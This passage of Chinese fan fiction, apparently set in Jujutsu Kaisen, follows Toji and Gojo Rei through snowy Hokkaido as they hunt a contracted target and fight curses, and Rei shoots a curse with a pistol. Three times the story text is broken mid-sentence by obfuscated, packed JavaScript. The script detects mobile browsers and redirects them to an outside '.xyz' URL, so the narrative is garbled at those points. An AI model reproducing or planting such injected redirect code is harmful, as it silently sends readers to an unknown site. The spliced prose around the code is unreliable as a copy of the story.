确认了目的地,那就该出发了。 光是等待长途客车,就花了约莫两个钟头。终于坐下之后,又是一个半钟头的车程。甚尔早早地闭目养神,平稳的呼吸声怎么听都像是来自梦乡的风声。五条怜还是睡不着,用手撑着下巴,无聊地看着窗外掠过的雪景,道路两旁垒起的雪堆像是一座座连绵的小型雪山,说不定正是昆虫们的珠穆朗玛峰。 雪……东京好像还没下过这么大的雪。 五条怜回想着东京的冬天,飘雪的日子其实也不少,但想不到太多温馨的冬日记忆。 冬天的诅咒事件也不少,倒不如说低温更容易勾起人们心中歪七杂八的情绪。到了冬天,五条家总是忙忙碌碌,五条悟也稍显繁忙,只有她像个闲人。 所以顺利逃出来了。 但或许在最悠闲的日子里,她也可以离开的。毕竟,从来都没有人把她困在五条家…… “喂。” 正胡思乱想着,忽然被拍了下肩膀,她吓得几乎要从座椅上弹起。 回头一看,原来是甚尔的手搭在了肩膀上。她瞬间安心了。 “不要发呆。”他催着她,“我们该下车了。” “好好好。” 下了车,被雪所掩埋了的目标对象的踪迹再度出现。他果然是来了这里。 依旧是追踪着痕迹,前行的方向恰是白须瀑布。甚尔赌对了,不过没有奖励。 步入林中时,天色很忽然地阴沉下来。又开始下雪了。 和之前在海上时遇到的那场雪不太一样,落在旭川的雪更加猛烈霸道,凝成一大团的雪絮接连飘落,在本就雪白的枝头累上又一层重量。总能听到“啪嚓”一声,倒霉的话,断枝和雪一起掉在脑袋上可就不好了。 视线被雪盖成白蒙蒙一片,风也刮得眼睛疼,白须瀑布被藏在白色的森林中。眯起眼,尽力前行。 林间有一处空地,穿过其中的风雪愈发猛烈。五条怜把手缩进袖子里,抬起手臂试图挡风,袖子上结了一层雪。咔嚓一下,踩进雪堆里,前方的路好像无尽遥远,而且是一段倒霉的下坡路…… ……诶,下坡? 她努力睁大眼,盯着前方这片空地。 没看错的话——她相信自己不会看错,这处地面并非下坡路,而是稍稍凹陷下去了一些,只下陷了约莫五米宽,再之后的路就正常了。 而凹陷的部分,看起来……像是圆形? 哎呀,不对劲。 五条怜停住脚步,伸出手,试图拽住甚尔,可他走得太快了,只是晃了晃神,便已走远。 “甚……” 呼唤声被一记重响打断,那是积雪与木枝断裂的声响。 而甚尔的身影,已然消失无踪。 57.雪地 一个活人——而且还是像甚尔这么个大体型的活人——突然消失无踪,显然是不太可能的事情,但着实足够吓人。 与此同时,猛然响起的剧烈响声直坠往地下,松软的雪地似乎也随之颤栗了一下。五条怜很不争气地被吓到了,差点钉在原地,幸好独自一人的恐惧感更为强烈,成功促使她迈开了脚步。 呼唤着甚尔的名字,没有听到半点回音。往前走了几步,雪地上倏地出现了巨大的凹洞,看似一团突兀的黑色,五条怜赶紧停住,实在不想倒霉地跌进去,只敢远远地探身往凹洞里看。 没记错的话,甚尔刚才就是在这个位置消失不见的。 凹洞似乎是古旧的陷阱,也可能是天然的地陷洞窟,一时也说不清到底是什么,被一层枯枝和积雪盖着,看起来就和平地没有区别,但肯定承载不了一个成年人的重量——尤其甚尔还是这么个大块头。 于是,压断的枯枝与积雪还有甚尔一起,乱七八糟地掉进了凹洞的最底部,飞扬的雪粉让坑洞变得像是雾蒙蒙一片。五条怜眯起眼,很艰难地才找到了他的踪影。 “甚尔,你还好吗?”她用尽力气大喊,努力让声音传到谷底,“我现在就帮你上来!” 话刚说完,她就有点后悔了,因为她压根想不到能帮助甚尔脱离困境的有效方法。 不如拉着他的手,把他拽上来? 最常规的解法在眼下这个情景派不上半点用场。且不说她拉不拉得动体型是她三倍有余的肌肉壮汉,坑洞足有五米的深度也没办法让她够到甚尔的手。 说实在的,在经历了这样一场骇人的跌落之后,他居然还能全须全尾地站着,在五条怜看来已经算得上是奇迹了。 单靠自己是不行了,还是借助外力吧。 五条怜想到了一个靠谱的办法,不过能否成功落实就得看运气了。 她匆忙挨近坑洞边,莫名感觉自己责任重大,说话的语调也不由得变得严肃起来:“你放心,我现在就去找根超长的木头,这样你就能爬上来了!” 不知道是一本正经的“你放心”实在太像是在假扮大人了,还是她的木头作战计划漏洞百出有点好笑,反正甚尔听了一点都不觉得欣慰,只想苦涩地扯扯嘴角。 “没事,用不着这么麻烦。”他朝五条怜摆摆手,“你后退一点。” “哦?哦……” 他给出的指示意义不明,听到五条怜一头雾水。她磨蹭着点点头,听是听明白了,不过还是迟疑了小半刻,才配合地后退一大步,甚尔的踪影也被坑洞的边缘盖住,莫名的不安感又浮上来了。 还好,不安不会弥漫太久,因为甚尔很快就探出头来了。 就像植物从土中萌芽,他的脑袋也很突然地从坑洞的边缘冒出来了。 用不着任何人帮忙,他把手扎进雪地里,稍稍一使劲,就这么轻松且顺利地回到了地面,只留下五条怜满脑袋都是“啊?”。 ……他到底是怎么从近乎垂直的坑洞里爬出来的呀? “踩着突出的石头跳上来不就好了?” 甚尔转着肩膀,说得轻轻松松,很可惜五条怜完全想象不出来,只好默默在心里给他打上“筋肉怪人”的标签。 总而言之,危机解除就是好事,还是继续前进吧。 风雪还是没有停下,所见所感,甚至连睫毛上凝着的冰霜,到处都是白蒙蒙一片。 这可不是什么适合徒步的环境,要是能遇到遮挡风雪的小木屋躲一躲就好了,可惜走了好久都没有看到半点人造的建筑物,而且甚尔看起来也不像是想要止步的样子。 “再不抓紧时间,他说不定就要逃到俄罗斯去了。”他是这么说的。 明明买船票的时候还满不在意的,这会儿倒是珍惜起时间了。五条怜搞不懂他。 沿着残余的痕迹,继续向前吧。 海拔一定变高了,明显能感觉到空气愈发稀疏,也可能只是走得疲累,有些喘不上气而已,但愈发鲜明的痕迹是不可否认的客观事实。 “看来。”甚尔回头,他的脸颊也被冻得通红,“马上就能找到他了。” 五条怜搓搓鼻尖,能感觉冰冷的血正在伴随循环涌入心房。也许正是因为这样,她此刻的心跳才变得有些快:“然后呢?……杀了他,是吗?” “委托的内容就是这样没错,你不要想太多。”他继续往前走,只留下背影给她,“我们现在没有除此之外的选择。” 她低下头,尽量让围巾盖住脸颊,说出口的话语透过这层绵软的羊毛,听起来有些闷闷的:“我知道的。” 她可没有在肖想别的什么可能性,也不可能……哎呀。 一不小心,五条怜撞在了甚尔的背上。感谢北海道的风雪让他穿得厚实,否则她的鼻梁骨就要撞断了。 “唔,对不……啊不对。”她飞快地撤回了一句道歉,“你怎么停下来了?” 才发现不是自己走得太快撞到了甚尔,而是他停住脚步,挡在了她的前进路线上。这样一来,该说对不起的可就不该是她了。 甚尔没吭声,只向她动了动手指,像是要隔着空气将她推远。五条怜知道这意味着什么,神经倏地紧绷起来,习惯性地攥紧了吉他包的肩带。 用不着对视或是其他多余的动作,当然也不用说出“我明白了”这种话,她慢慢后退,退到危险区域之外——通常这个区域会被他很没礼貌地称之为“碍事范围”。 危险也好,碍事也罢,反正绝不是她适合停留的地方。五条怜飞快地躲进烂了一半的枯树树洞中,心脏扑通扑通跳得飞快。她已经打开吉他包了。甚尔也向前迈步。 迈出一步,只需要区区一步,就足够唤醒沉睡在脚下的“生物”了。 咒灵猛地从雪地深处跃起,飞扬的积雪与搅动的空气交融成白色风暴,献出奇形怪状的模样。 这只咒灵很像是浅蓝色的章鱼,八足却又是蚯蚓似的环节,一圈连接着一圈,时而拢成纤细的一圈,时而又扩散出环状的姿态,足底的吸盘被风吹得一张一合,也可能是它正在兴奋地舒展身体。 实不相瞒,只盯着它看了两眼,五条怜就很不争气地收回了目光。 没错,她确实很窝囊,可这只咒灵长得就是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864253|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶心呀,说不定还是目标对象故意设下的防御机制呢!一想到居然要正面对上丑东西,她都有点心疼甚尔了。 ……哦对,甚尔还在战斗呢。 倒也没有把这么重要的事情忘记,只是现状再次在她的脑海里强调了一遍而已。 顺便一起高亮加粗进行强调的又一个现状是,没有咒力的甚尔无法祓除咒灵,除非他手持含有咒力的咒具。 没时间挑挑拣拣了,随便拿到什么就丢过去吧。只要确认武器精准地来到了甚尔手中,工作就算是暂且告一段落了。 五条怜收回目光,重新窝在树洞里。 她没有看到甚尔挥刀把咒灵的脑袋一切两半,淌着粘稠蓝色血液的裂口一边抽搐一边愈合。自然也看不到咒灵被切断的脚在眨眼之间重新长出,而掉落在地的断足仍然生命力旺盛,扭动着袭来。 甚尔不会说这是一场苦战,但现状似乎真的有点不对劲。 能感觉得到,这只咒灵并不多么强悍,充其量不过坚韧得恼人而已。他确信自己已经对它造成了足量的伤害,无论如何,都能够将它祓除才对。 除非…… “阿怜!我们该走了!”他用刀柄击飞了扑过来的章鱼腿,毫不犹豫地做出了这个决定,“这家伙对咒具的咒力免疫,我没办法祓除它。” 还好,虽然努力地保持着不谙世事的状态,但这句话,五条怜切实地听到了。 她几乎想要发出“哈?”的一声,可这句难以置信的惊呼还未脱口而出,便被堵在了喉咙里。 在她一直忽略的身后,有八只断足拧着环节的躯干,朝着她所在的方向而来。 现在,就连惊恐的尖叫也来不及发出了。五条怜从吉他包里随便摸出一把咒具——好巧,又是百分百命中棒球棍。 抡起球棍,用力击飞扑向大腿的一只断足。似乎听到了“咕叽”一声,大概是这个不完整的生命(如果真能被称之为生命的话)化作灰烬之前最后的尖叫吧。 冲进碍事区域,快点再迈出一步。不知道为什么,步伐好像被锁住了,她迈不开腿,倾倒的平衡感将她摔在地上。太狼狈了。幸好雪地足够柔软,否则一定会酿成惨剧,但没有拉上拉链的吉他包掉在了地上,东西落得 而不知道的为什么,很快就也解开了。五条怜慌乱回头,发现一只章鱼足顺利地缠绕在了她的腿上,一节一节向前挪动着,太恶心了。那只巨大的本体也在纠缠着甚尔。 弱小的,但是麻烦的、缠人的、无法被祓除的咒灵。必须做点什么。 她摸到了雪地里一个冰冷的东西,短短的几秒钟,黑铁的外壳已沾满雪粒,出乎意料的重量反而让她有种不真实感。 这是在电视剧中看过好几次的东西,也是由她亲手打包的、并非咒具的武器——一把手枪。 她的手在颤抖,准星摇摆不定……不,她不需要准星来帮忙。 五条怜需要的是不再东张西望,她必须心无旁骛。 她只需要看着它,而不是看着他。 她可以击中。她不会射偏。 颤抖的手指扣下扳机。 58.扳机 指尖触碰到了很沉重的咔哒一下,扳机拨响出沉重的“砰”的声响,像是有一团雷云落在自己的耳旁,鼓膜深处都在随之微微发痛。 五条怜的心跳已经变成了战栗,可她毫无知觉。呼啸在耳边的也不再是风声,而是粗重急促的呼吸,带着前所未有的仓皇感,几乎快要化作尖叫。绝对有一团硝烟钻进了她的鼻子里,那种仿佛有什么东西存在的刺痛感像是吸入了一大团粉尘,刺得眼睛发酸,她想打喷嚏,但是不行。 说实在的,现在一定不是打喷嚏的最佳场合。五条怜强迫自己睁大眼,注视着前方的咒灵。 子弹已然沿着歪斜的轨道精准地射入咒灵圆形膨胀的脑袋,然后它死了。一切发生得就像是子弹出膛那样快。回过神来,咒灵已经开始抽搐起来,那些扭动的断足却是不再动了,倏地变成焦黑色,化作灰烬被风吹走。甚尔正在把咒灵笨重的尸体推到一边——这一切都在说,她的这一枪没有射偏。 没有像过去射落一只小鸟那样,夺走意料之外的生命。 “太好了……妈的。” 她的手还在发抖,根本没意识到自己说了句脏话,念叨声好像停不下来。 “我开枪了!我真的开枪了?” 咒灵不再抽搐。它彻底停止了所有的活动,开始一点一点消散。五条怜艰难地眨了眨眼,她的睫毛都快冻得黏连在一起了。 事实显而易见,她却难以相信。 “我把咒灵,祓除了?” 是的,祓除了。 她握着的是一把普通的枪,但为了将子弹射中目标,她在枪上施加了自己的咒力——完美躲开了“对咒具的咒力免疫”的前提条件。 顺便也要感谢甚尔先生将咒灵打了个半死,否则就这么一枪,大概是没办法解决这么个棘手玩意儿的。 五条怜当然知道这一点,但还是莫名觉得飘飘然,于是周遭的一切也随之漂浮在了半空之中,显得如此不真实。 譬如耳边的轰鸣声变得相当抽象,满地的狼藉看起来好平面,就连北国的风雪也变得像是虚幻的存在,刺骨的寒冷感更是消失无踪了,手里的枪咔哒咔哒响个不停,原来是她的手还在不停地颤抖。想要放下枪,可手指似乎僵住了,依旧握得紧紧的,动弹不了一点。 甚尔向她走来,而这是直到他在五条怜面前停住脚步时,她才迟钝地意识到的事实。他伸出手,向她要回枪。 “给我吧。”他说。 不管怎么想,让一个小屁孩拿枪,绝对不是什么安全的做法。五条怜自己也对此心知肚明,可不知道为什么,手却抖得更厉害了,曲起的手指像是锁住了整把枪,不知不觉捏得更紧。 “我……” 我。然后呢? 不知道该说什么。 在短暂的这个瞬间,五条怜想了很多。想得最多的是,她现在是不是太得意忘形了,这一枪会不会只是自以为是的一件坏事?毕竟甚尔可没有让她开枪,一切都是基于自我意识所实现的行动。 不算意外,他伸手过来,五条怜下意识想躲,却还是被他攥住了手腕,不算太用力,却怎么也挣脱不开。 其实,也没有什么挣脱的必要。 一点一点,甚尔掰开她僵硬的手指,拿走了枪。 “干得漂亮。”他说。 依旧不算是多么意外,但当这句话切实地落在五条怜耳中时,她还是有些震惊,呆愣地张着嘴。 这副笨蛋模样维持了整整十秒钟,她才艰难地挤出了一句“谢谢”,甚尔则是以嗯一声作为答复,飞快地检查完了枪支状况,又拆出弹仓,瞄了眼剩余的子弹数目,这才重新安上。 顺便一提,在进行最后一步之前,他轻轻拨了一下圆柱形的弹仓,然后看也不看地合上了,不知道是不是这家伙钟情于轮盘赌。五条怜真庆幸自己刚才开出的拿枪不是虚发。 “看来。”他锁上保险,把枪收进她的口袋里,“带个咒术师在身边,还是有点好处的。” 咒术师……是在说她吗? 五条怜感觉耳朵有点烫:“你忘记了?我没有术式,没办法成为咒术师。” “我知道。”这件事很重要,他可不会轻易忘记,“只是今天姑且先把这个名号安在你头上。” “哦……”好像有点明白了,但又有点不明白,“是表扬我的意思吗?” 甚尔没说话,只是摆摆手,让她快点跟上来。 肾上腺素消退了,过分亢奋的情绪当然也消失无踪。最后再深呼吸一口气,五条怜终于觉得自己又回到了北海道的雪天之中。锁骨处传来一阵莫名的疼痛,似乎有什么尖刺的东西贴在了皮肤上。她慌慌张张弓身,双手在衣服里不停摸索,未知的恐惧感真叫她心慌。 其实也没什么好慌,罪魁祸首只是一枚弹壳而已。 就在她扣下扳机的瞬间,炙热的弹壳从枪膛中飞出,很不巧地掉进了围巾的褶皱之间,而后顺着空隙钻进她的衣服里,就这么落在了锁骨上。 弹壳的温度烫破了一层皮,带来近乎针刺般的痛感。真是太不小心了。 五条怜掏出弹壳。想要丢掉,似乎不太合适——这可是乱丢垃圾。 况且他们正身处大自然中呢,会罪加一等的。 怀揣着这种幼稚且愚蠢的念头,弹壳被收进了口袋里。一抬头,才发现甚尔在盯着她。 “怎么了吗?”她问。 “没怎么。”甚尔耸耸肩,收回目光,“你刚才看起来很害怕的样子。” 看起来很害怕吗,那是一副怎样的表情? 她没有镜子,也想象不出自己害怕的脸,只能坦白说:“嗯。因为我开枪了。” “只是开个枪而已嘛。”他显然更不能理解了,用力扯扯帽子,“搞不懂你……算了,快走了。” 说着,他迈步向前。 工作还要继续,可不能停下脚步了。 雪地还是雪地,风雪一点没停下。温度似乎降低了,溪流也凝结成冰河。白须瀑布依然不见踪迹,或许他们离瀑布越来越远了也不一定。 沿着足迹继续向前,什么时候才能迎来下一个节点?不知道。 这次的工作充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870113|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未知。 那只恶心的咒灵估计是目标对象留下的防御机制。甚尔是这么说的。 能找到这么恶心的咒灵,倒是挺了不起的。五条怜居然冒出了钦佩的念头。 “所以。”她大喘了一口气,费了好大劲才把脚从一个雪坑里拔出来,“这次的目标对象又是因为什么才被追杀的——而且还是被家人雇佣杀手追杀?” 甚尔回头,瞟了她一眼,不知道是无奈还是恼怒,语气听起来有点不耐烦:“和你说了,我们不用关心这种事。” “唔……我知道的。” “再说了,落到被家族追杀的下场,不就那几种可能性吗?肯定是做了什么有损‘家族荣誉’的事情。” 说着不关心,他好像并没有真的那么漠不关心。 五条怜茫然地眨眨眼。 他的解答算得上是解答没错,但太笼统了。这种可能性,用她的笨脑瓜也能想到,何必问他呢。 不过她不打算追问了。她可不要面对甚尔不耐烦的表情——会很受打击的。 风雪渐缓……哦不对,他们只是步入了山洞里。风与雪仍会灌进来,但总比走在外头好上太多。五条怜搓搓脸,终于感觉身体在热起来了。甚尔好像从身边消失了,四下看看,才发现他蹲在碎石通道的边缘,蹙着眉头,不晓得在盯什么。 “快到了。”起身时,他说,“这里的足迹很新鲜。” “新鲜”,这个词像是在描述尸体或者食材。 “哦——” 她了然般点点头,但实际上压根半点痕迹都没看到,也不准备追问为什么——要是真问出口了,八成会被嫌弃。 既然没有疑问,那就接着前行吧。 山洞不那么宽敞,幸好也算不上逼仄,在无尽交叠的脚步声与回音中,风雪被甩在身后。四周极速地暗了下来,本以为是天快黑了,回头才发现尚且明亮的风雪天仍在身后的远处呼啸着,崎岖的洞窟入口把外界浓缩成一轮不规则的圆月,遥远而不可及。 这轮“月亮”让五条怜看得几乎失神,如果不是前方响起了窸窸窣窣的声响,她大概还会再盯着入口发呆上一会儿吧。 越往深处前进,声响愈发明显,她忍不住频频抬头。天顶黑漆漆的一团,不知道究竟是什么东西在闹腾。 “你怎么又开始东张西望了?”甚尔拉扯着嘴角,把这话说的像是嗔怪,“难道是第一次进山洞,所以什么都觉得新奇吗?” 不知不觉,她已经被落下好长一段距离了,难怪甚尔会有怨言。五条怜加快脚步,赶紧追上。 “我确实是第一次走进山洞,以前从没有过类似的经历。” 至于新奇嘛,好像是没觉得有多不一样的……啊不对,这不是重点。 她摸了摸耳廓,来自天顶的声音从掌心里反弹出来,噪音听起来更响了。 “因为很吵嘛。”她嘀咕着。 “啊?”甚尔一脸不解,“什么很吵?” “……啊?” 五条怜也不解。 “你听不到这声音吗?” 59.回声 明明四下如此嘈杂,吵得就像是有一百只虫类齐声高唱,甚尔却说什么声音都没听到。是不是他们之中谁的耳朵出了问题?说不好。 五条怜比较倾向于认为是自己产生了幻听,但真要这么说出来,总像是在承认自己有什么地方不对劲,她可不乐意。 思来想去,她决定摆出另一个靠谱的可能性。 “说不定是什么东西正在发出高频音。” 前不久看过的纪录片这就派上用场了! “‘随着人的生长,人耳功能发生变化,不易察觉一些高频的声音’,纪录片里就是这么说的。片子里还说,基本只有二十五岁以下的年轻人才能听到高频音。正好甚尔你已经二十六……或者二十七岁了。” 之所以要添上一个累赘的“或者”,完全是因为甚尔对自己的年龄总说得模棱两可,所以五条怜完全不知道他究竟多大了。 不过嘛,无论是二十六岁还是二十七岁,明显都已经超过了“二十五岁以下的年轻人”这一范畴,难怪在听她说完之后,甚尔要用一副不快的表情瞥着她了。 “干嘛。”他轻哼一声,“暗示我年纪太大了?” “没有没有!” 她怎么敢! 五条怜连连摆手:“我只是在客串地陈述一个客观的科学现象而已——哈哈哈。” 她那笨拙的讪笑到底有没有派上用场,实在说不好,反正甚尔是已经懒得搭理她了,加快脚步继续往前走,踏得很重的步伐不晓得是不是在赌气。 就算真的赌气,五条怜也知道自己八成哄不好,索性装作什么也没察觉到,跟上他的步伐。 愈发往前进,山间的通道仿佛没有尽头,但深处吹来了冷风,切实地诉说着出口就在前方。天顶上的噪音更加响亮,从嘈杂转变为喧嚣,而后逐渐转为尖叫,一切声音的存在感倏地变得无比强烈。五条怜有些无法思考了,这些声音几乎填满了大脑,根本不给思维留下空间。 “到底是什么……呃。好响!” 噪音根本没有减弱。她看到甚尔的嘴唇在翕动着,却听不见他在说什么。 他给出答案了吗,还是又说了点挖苦话? 不知道了。此刻只有痛觉是鲜明的。 耳朵好疼。那些尖叫声近得像是在耳道中塞进了无数只夏蝉,它们挣扎着往里蛄蛹,妄图撑破鼓膜,不遗余力地发出绝叫。 而且,一定有某些看不见的(说不定也不存在的)蝉钻进了她的大脑中,于是脑袋也像是快要爆裂一般。她真想蜷起身子,可这也只是无用之举。 尖叫声没有停下半点。 五条怜不想掉下懦弱的眼泪,可眼眶中还是渗出了多余的水分,一定是痛楚感在作祟。莫名的酸刺感扎着她的眼角,几乎让她睁不开眼。 “对不起,我……” 她还在说话吗?她的声音传出去了吗? 太吵了……太痛了。 泪水糊满了整个视野,甚尔的模样被扭曲成很奇怪的形状,但还是能够看到他转过身。他的嘴唇依旧在翕动着,他到底在说什么? 五条怜忽然感到很害怕,却不知道自己的恐惧源于何处,或许是杞人忧天地担忧着会不会从此之后什么都听不见了,也可能是对外界的未知带来了不安。她不自觉后退着,好想从这个场合里逃走。 成功了吗?或许吧。但甚尔倏地靠近过来,突兀的动作吓得她顿住了脚步。 几乎无光的山洞深处让甚尔的面容也变得无比昏暗,几乎带着一种不真实的平面感。可他握住了她的手,这一定是真实的。 “看着我。” 似乎能够听见了,可微弱的声音像是耳语。他注视着五条怜。 “别的什么都别管,你只需要看着我。” 好吵。好吵。真痛啊。 艰难地点头,包裹在颅骨之下的一大团痛楚种子也像是被摇动了,尖锐的痛感刺进脑干,她颤抖着弓起身,几乎无法喘息。 “我们该走了。” 甚尔拉着她前进。 声音一定越来越响了,说不定已经超出了极限,于是落在五条怜的耳中,变成了再也不会听出任何变化与起伏的尖锐叫声。她几乎无法迈步,几乎是被他拽着往前走。 风更加猛烈,能清晰感觉到其中鲜明的寒意,冷飕飕地钻进手套的空隙间。手指好快要冻得僵住了,但隔着针织的布料,依然能感觉到从掌心深处传来的暖意。 甚尔让她看着他……看着他的什么呢? 要注视他宽阔的后背吗,还是盯着他那被针织帽压住的、让人很想伸手抚平的有点乱糟糟的碎发吗?还是注视他的手——比她大上了一圈,连手套都没有戴上,却依旧很温暖的手? 如果可以,五条怜想要注视他的双眼。她也说不清理由,她只是有这样的冲动,可甚尔笔直地走在前方,她的愿望无法实现了。 风吹走了仅剩的光亮,周遭的一切陷入昏暗之中。 现在,无论是他的后背还是乱发,全都看不见了。五条怜只能紧紧握住他的手,这是此刻她所能感受到的唯一切实的存在。 阴冷的昏暗没有持续太久,不规则的白色月亮不期而至,出现在前方,出口很近了。 脱离山洞,再次回到风雪中。所有嘈杂的尖叫声忽然全部消失,只余下风声灌入耳中。五条怜愣了愣,花了几秒钟时间才意识到了现状。 此处是半山腰的一片平地,掺杂着雪粒不遗余力地卷过来,只消在这里待上十秒钟,就足够被风吹成脆皮的雪人了。听起来似乎很糟,但这里的天顶已不再是漆黑的洞窟岩石,耳边也只有沉默的呼啸声。 抹去眼角多余的泪水,用力呼吸吧。五条怜听到了自己的喘息声。 “这是……出来了吗?” 说了个显而易见的事实,难怪她没有得到任何回答。 目标对象还没有显露踪迹,还得继续前行——而前方又是一个山洞,说不定又连接着一条长长的甬道。五条怜只看了一眼,就觉得浑身上下的力气全都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873605|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻的风卷走了,她疲惫地瘫在地上,狠狠叹了口气。 “救命……”直到现在,耳朵都还在嗡嗡地叫个不停,“甚尔,我不想进去了……” 五条怜很窝囊地嘀咕着,但甚尔没有给出回答。 这算是默认了,还是嫌弃到懒得和她多说了?她猜不出来,但已经开始慌了,赶紧从雪地里爬起来,四下看看,却到处都寻不到他的身影……他跑哪儿去了? 丢下自己走了?落在洞穴里了? 五条怜思索着所有靠谱的可能性,一些危险的推测也顺势钻进了心中。她居然控制不住地开始思索,甚尔是不是和她一起身处北海道。 譬如,她根本就是独自来到此地的,被噪音扰得精神崩溃,所以幻想出了一个甚尔来帮助自己走出山洞,这就能解释他刚才为什么会特别好心甚至有点温柔地拉着自己走出山洞了。 啊啊,说不定此刻都是她的幻想。她就像是圣诞夜里卖火柴的那个小姑娘一样,马上就要冻死了! 越想越多,越想越不安。五条怜甩甩脑袋,强行中断了大脑的异样活动。 别胡思乱想了。她告诉自己。 雪地上分明留着两个人的脚印,清晰的不能再清晰了,哪可能是她幻想出了一个甚尔?再说了,耳道深处的疼痛也鲜明着,她更不可能是卖火柴的小女孩了。 五条怜松了口气,但也没能就此舒心。身后忽然传来啪擦啪擦的脚步声。猛地回身,在被面前人影吓到心脏乱跳之前,她认出来了,那正是甚尔。 呼——这下总算能够百分百地安心啦! 甚尔拍去肩头的雪,没多久又垒上了崭新的一层薄薄白色,他索性不收拾,只抬眸瞄了瞄她。 “你怎么还是这副呆愣楞的脸?”果然,一开口又是友好度不及格的话语,“都已经走出山洞了,难道还能听到声音吗?” 五条怜赶紧收起剩下的那一丁点杂乱想法,摇摇头:“已经听不到了。不过,鼓膜的状态绝对糟透了……” 歪过头,用掌根轻轻敲敲耳朵,还能听到里头传来咔吱咔吱的声响呢。超级可怕。 甚尔“哦”了一声,看起来不像是多么在意她的状况,只说:“放心,我会去问委托人多要一笔医药费的。” “谢谢。” “顺便再要点精神损失费吧。” 好嘛,自己变成筹码了。 虽然也不是什么坏事,但总有种微妙感。五条怜不知道说什么才好,索性不说了。 “对了,拿好了。” 他把一个黑漆漆的东西递过来。 稍有点沉,得用两只手才抓得稳。五条怜的站姿就被这不知所谓的东西压得忍不住往前倾斜,看起来像个怪老太。 “这是什么?”她当然要问了。 “我就觉得你能听到而我听不到的声音很不对劲。” 甚尔拍掉手上的灰尘,像在自说自话。 “回去一看,果然不是什么高频音。噪音的罪魁祸首只是咒灵。” 60.山洞 噪音的……罪魁祸首吗? 在对噪音做出了“高频音”的定义之后,五条怜就没怎么再往罪魁祸首这方面想过了,自然也没有料到可能是咒灵在作祟。 低头看看,提在手中的咒灵黑漆漆的一只,有着肥硕的椭圆身躯,三只翅膀耷拉着,垂得像是皱巴巴的窗帘。她努力把它和现实中存在的生物靠拢,可不管怎么想,她都还是觉得这玩意儿像是长了翅膀的橄榄球——就连色泽都很相似。 “非要说的话……有点蝙蝠的感觉?”这已经是她好不容易能联想到的生物了,“这回,您倒是顺利地把这东西祓除了呢。” 很显然,她说了一句傻话,因为甚尔开始叹气了。 “它又不会对咒具的咒力免疫,我当然可以祓除。” “哦——” 自知尴尬,五条怜笨拙地笑了笑。甚尔自然是没理会她难看的笑脸,嘀咕着的话语不知道算是自言自语还是小小抱怨。 “你能听到,我却听不见的声音……估计也是针对前来追踪的咒术师的吧。嘁。”他轻哼一声,“果然带个咒术师在身边是件麻烦的事情。” “甚尔。”五条怜敏锐地探头过来,一脸警惕模样,“你现在一定是批评我没错吧。” 刚才说她是咒术师,不一定算是什么坏话。但现在把“咒术师”的头衔按在她的脑袋上,肯定怀揣了一点嫌弃的意味。她好不服气——她又不是咒术师! “好啦好啦,随口一说而已,别那么放在心上。”甚尔很敷衍地哄了哄她,转头就开始说起正事了,“要是这只咒灵真的只能发出咒术师才能听到的噪音,反倒是好事一桩了。你拎好了,到时候带去黑市,让那里的家伙看看是什么东西。” “黑市?嘶——”听起来就很可怕,五条怜忍不住抖了抖身子,决定别太关注这个吓人的地方,“所以,你也不知道这是什么吗?” 他无奈地一撇嘴:“我要是全知全能,就不会和你一起在北海道追杀叛徒赚钱了了。” “唔……说的也是。” 那么,如果甚尔当真是全知全能的,他会做点什么呢?无法想象。 说到底,她连“全知全能者”这一形象都构筑不出来。 在她的认知中,最接近“全知全能”这个概念的,应该是五条悟。那把五条悟的形象套在甚尔身上试试看?哎呀,这么一来,甚尔不就要变成白发蓝眸了吗。 盯着甚尔的后脑勺,五条怜想象着他有着雪白脑袋和蓝眼睛的模样,想着想着就笑出声了——太过违和,一丁点都想象不出来。 笑声藏不住,想象中的主角很快就察觉到了不对劲,停住脚步,表情好像有点无奈。 “怎么,有事?” 五条怜连连摇头:“没事没事没事。” 就算是有事,她也不可能承认嘛。 其实甚尔也知道这一点,所以懒得追问了,招招手,让她快点跟上。接下来的前进方向,当然是面前的崭新山洞了。 刚才还躺在雪地上撒泼打滚地说着“我不想进去”——实际上还不至于到撒泼打滚的程度,但也好在谁都没有看见——现在就不得不步入其中了。五条怜收起满心怨念和叹气的冲动,艰难地迈动双腿,步入山洞。 一片寂静。 很意外,居然只是一片寂静。 小概率是因为她的耳朵真的被震聋了,更大概率的可能性是这个山洞里并没有安置上奇奇怪怪的发声咒灵,总之这里寂静得只能听到脚步声的回音。相较之下,连风雪都变得微不足道了。 此处的通道更宽敞一些,也更冰冷。缓缓上升的坡度说不定会送他们直达山顶。 